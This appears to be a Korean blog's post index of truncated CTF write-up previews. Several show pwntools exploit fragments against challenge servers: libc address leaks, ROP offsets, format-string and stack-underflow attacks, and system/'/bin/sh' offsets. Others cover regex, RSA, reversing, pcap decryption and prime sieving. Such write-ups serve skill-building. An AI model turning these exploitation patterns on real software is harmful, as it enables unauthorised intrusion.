전체 글

정규표현식에 해당하는 문자열을 넣어주면 되는 문제였다.구글에 reverse regular expression 입력을 하니 간단한 파이썬 모듈이 있어서 이용해서 풀었다. import rstr from pwn import * def solve() : global s tmp = s.recvuntil('\n').strip() match = rstr.xeger(r'%s'%(tmp)).replace('\n','\t') s.sendline(match) if __name__ == '__main__' : s = remote('misc.chal.csaw.io', 8001) s.recvuntil('?\n') p = log.progress('Start!...') for i in range(1,1001): p.status('%..

from pwn import * import stitch local = False if local : s = remote('localhost', 8005) else : s = remote('pwn.chal.csaw.io', 8002) raw_input() def solve() : p.status('leak puts addr') s.recvuntil('>') sleep(1) s.sendline('1') puts = int(s.recvuntil('\n').split(':')[1].strip('0x'), 16) + 1280 libc = stitch.find_libc({'puts':hex(puts)[-3:]})[0] offset = puts - libc['puts'] poprdi = offset + libc['..

이거 대회끝난지 한 2주됬는데 갑자기 생각나서 올린다. 다른팀원들이 미리 풀어논게 있어서 1등이였는데 새벽에 다른팀들이 올라왔다. 나는 대회를 밤늦게 시작해서 팀원들이 풀지 않은 easy 3종 셋트를 풀었다. 2등이라도 유지해서 다행이였다. easy_fsb를 처음에 풀었는데 libc가 주어진질 모르고 조금씩조금씩 libc를 긁어서 모으고 있었다. 그러다가 공지사항을 보니 낮에 libc를 올려놨었다....... 그래서 바로 다시 오프셋을 적어서 풀었다. 그냥 전형적인 fsb문제였다. from pwn import * import stitch s = remote('prob.layer7.kr', 10002) p = log.progress('Exploiting!') if __name__ == '__main__' ..

import string import sys import re from pwn import * from itertools import product, permutations from Crypto.Util.number import isPrime from gmpy2 import isqrt from multiprocessing import Process, Queue def cnt_prime(a, b, output) : if a % 2 == 0 : a += 1 cnt = 0 for i in range(a, b, 2) : if isPrime(i) == True : cnt += 1 output.put(cnt) def cul(a, b) : output1 = Queue() output2 = Queue() procs =..

import gmpy import re from Crypto.Util.number import * from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_v1_5 from pwn import log def npqe(p, q, e) : n = p * q phi = (p-1) * (q-1) d = gmpy.invert(e, phi) pubkey = RSA.construct((long(n), long(e), long(d), long(q), long(p))) enc = open('flag.enc', 'rb').read().decode('base64') key = PKCS1_v1_5.new(pubkey) try : dec = key.decrypt(enc..

from pwn import * import stitch local = False if local : s = remote('localhost', 9988) else : s = remote('diapers.asis-ctf.ir', 1343) raw_input() def main() : strip_ = lambda x : x.strip('0x') p = log.progress('start pwning....') p.status('select first') #to stack underflow s.recvuntil('> ') s.sendline('3') for _ in range(257) : p.status('%dth minus'%(_+1)) s.recvuntil('> ') sleep(0.1) s.sendlin..

간단해서 간단히 씀 스크린샷 순서로 살펴보면 checkpw함수에서 co, ca, cq 함수의 인자는 입력한 passwdbody에서 3부분의 md5 hash값인 것을 파악할 수 있다. 세 함수에서의 비교값은 그냥 replace 되있기 때문에 알 수 있다.이 값들을 md5 decrypt하여 어떤값이 되는지 확인하고, checkpw함수에서 flag와 nl배열이 1:1로 대치되기 때문에, decrypt된 값을 이용해 역연산하는 함수를 만들면 된다. co = '654321' ca = 'admin' cq = 'qwerty' nl = [0,2,1,12,7,15,5,4,8,16,17,3,9,10,14,11,13,6,0] flag = [0] * 18 flag[0] = ' '#first letter blank for i ..

pcap파일을 열어서 보면 ISAKMP패킷들이 많이 보이고 telnet으로 통신한 내용이 보인다.telnet으로 통신한 내용을 보면 아래 그림과 같은 내용이 들어있다. ip xfrm state가 무슨 명령어 인지 몰라서 구글링을 해보니 ipsec tunnel과 관련있는 것을 알 수 있었다.구글에 wireshark isakmp xfrm 라고 검색을 해서 제일 위에 있는 링크에 들어가니 위의 hash값을 이용해서 wireshark에서 decrypt하는 방법을 친절하게 설명해 놓았다.https://ask.wireshark.org/questions/12019/how-can-i-decrypt-ikev1-andor-esp-packets 이런식으로 설명해 놓은 그대로 설정을 하고 apply하면 패킷들이 decrypt..

휴가때문에 피곤해서 늦게 풀었당(술..) 문제파일을 보면 아무형식이아닌 그냥 data 파일이다. 하지만 ida에서 열어보면 함수들이 많이 들어있다.main함수처럼 보이는 것을 먼저 찾아보았다. 조금 내리다 보니 메인같은 함수 몇개가 보였다.안에 함수 호출을 적당히 따라가다보면 이상한곳으로 계속가는데 무시하고 보다보면 바로 의심스러운 부분이나온다. 이렇게 시작하는 함수인디 밑에를 보면 확실히 뭔가 문자열과 관련된거 같다. 함수첫번째 인자에 값을 넣어서 flag를 구하는거 같다.함수 첫번재 인자가 무엇인지 추적해봤다. 이상한 값이 있다.왠진 모른다 문제를 만들면서 그냥 어떻게 됬나보다(pie나 symbol table이나 뭐 관련있으려나..) 무튼 그래서 그냥 제일 앞에 값이 TMCTF이런식일테니까 T - K..

from pwn import * import stitch local = False if local : s = remote('localhost', 9999) offset = {'read35' : 0xd5c23, 'system' : 0x3ad80, 'binsh' : 0x15ba3f} raw_input('ready!') else : s = remote('chal.cykor.kr', 20003) offset = {'read35' : 0xd4443, 'system' : 0x3a920, 'binsh' : 0x15909f} def reg_login(menu, myid, mypw) : global s s.recvuntil('\n\n') s.sendline(menu) s.recvuntil(' : ') s.sendline..

https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#linux-system-call-tableRandom NamesKernel ImplementationsCalling ConventionsTablesx86_64 (64-bit)arm (32-bit/EABI)arm64 (64-bit)x86 (32-bit)Cross-arch Numbers

특정한 수 미만의 소수들을 모두 찾는 방법중에 한개이다.n이하의 모든 수 중에서, 이하 정수들의 배수를 모두 지워 마지막에 남는 수들은 1 ~ n 사이의 소수들만 남게 된다. (1은 기초수, 2는 예외)마치 많은 수들 사이에서 배수들을 지워나가는 것이 체에 거르는 느낌이 든다. 예를들어 100이하의 소수들을 찾을 때, 이하 수(1~10)들의 배수들만 1~ 100 사이의 수에서 지우면 소수가 나온다.소수들 간의 연관성이 아직 발견되지 않았기 때문에, 에라스토테네스의 체를 이용해서 미리 소수들의 리스트를 만들어 놓고 하는 것이 빠르다. http://stackoverflow.com/questions/2068372/fastest-way-to-list-all-primes-below-n/3035188#3035188..